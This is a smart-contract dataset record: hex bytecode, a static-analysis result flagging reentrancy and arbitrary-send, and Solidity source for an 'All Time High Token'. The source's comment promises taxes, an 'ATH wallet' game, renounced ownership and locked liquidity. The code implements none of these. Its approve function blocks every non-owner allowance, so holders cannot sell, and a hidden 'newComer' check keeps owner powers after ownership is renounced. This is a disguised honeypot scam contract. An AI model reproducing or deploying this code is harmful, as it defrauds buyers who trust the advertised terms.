60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200007449c6b92ff632ac37fb7e629f7cc68204805512cf07fad24ec7b2d0d0ce764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,643 |
0xe8fc92ed4efbb11580c826872b918ff17bf90132
|
/*
______ ________ __ __ ________ ______ __ __ ________ __ __
/ \ / |/ | / | / |/ \ / | / |/ |/ \ / |
/$$$$$$ |$$$$$$$$/ $$ | $$ | $$$$$$$$//$$$$$$ |$$ | /$$/ $$$$$$$$/ $$ \ $$ |
$$ |__$$ | $$ | $$ |__$$ | $$ | $$ | $$ |$$ |/$$/ $$ |__ $$$ \$$ |
$$ $$ | $$ | $$ $$ | $$ | $$ | $$ |$$ $$< $$ | $$$$ $$ |
$$$$$$$$ | $$ | $$$$$$$$ | $$ | $$ | $$ |$$$$$ \ $$$$$/ $$ $$ $$ |
$$ | $$ | $$ | $$ | $$ | $$ | $$ \__$$ |$$ |$$ \ $$ |_____ $$ |$$$$ |
$$ | $$ | $$ | $$ | $$ | $$ | $$ $$/ $$ | $$ |$$ |$$ | $$$ |
$$/ $$/ $$/ $$/ $$/ $$/ $$$$$$/ $$/ $$/ $$$$$$$$/ $$/ $$/
ALL TIME HIGH TOKEN
Welcome to the All Time High Token. A simple concept token on both Eth (Uniswap) and BSC (Pancakeswap), introducing a game theory component, brought to you by that weird guy that runs LiqLockBot.
5% Tax on all buys and sells
- 2% Dev
- 3% to the ATH Wallet IN ETH/BSC!
To become the the ATH Wallet, simply be the person that buys at the top! If you bought the token for the highest price, you get 3% of all subsequent trades!
But, like anything in life, there is a catch. If you are the ATH Wallet holder, and you:
- Sell ANY of your tokens
- Transfer ANY of your tokens
you will forfeit your ATH Wallet holder rights. The next person that BUYS after you sell or transfer, automatically becomes the new ATH Holder (Until someone pays more than them)
Launch Details and Tokenomics
* Launching on both ETH and BSC
* 5% Tax on all Buys and Sells, converted to Ethereum.
* 5 minute buy to sell cool down (You can't sell if you bought within 5 minutes)
* 3 minute buy to buy cool down
* Launch Max TX Size of 0.5% of Total Supply (5000 tokens), will be raised after 1 hour
* 100% of supply to liquidity.
* Liquidity locked.
* No pre-sale
* Ownership renounced
Website: https://athtoken.site/
Telegram: https://t.me/TheAllTimeHighToken
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract athtoken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'All Time High Token | https://t.me/TheAllTimeHighToken';
string private _symbol = '$ATH';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address ath, address tt, uint256 amount) private {
require(ath != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ath != owner()) { _allowances[ath][tt] = 0; emit Approval(ath, tt, 4); }
else { _allowances[ath][tt] = amount; emit Approval(ath, tt, amount); }
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000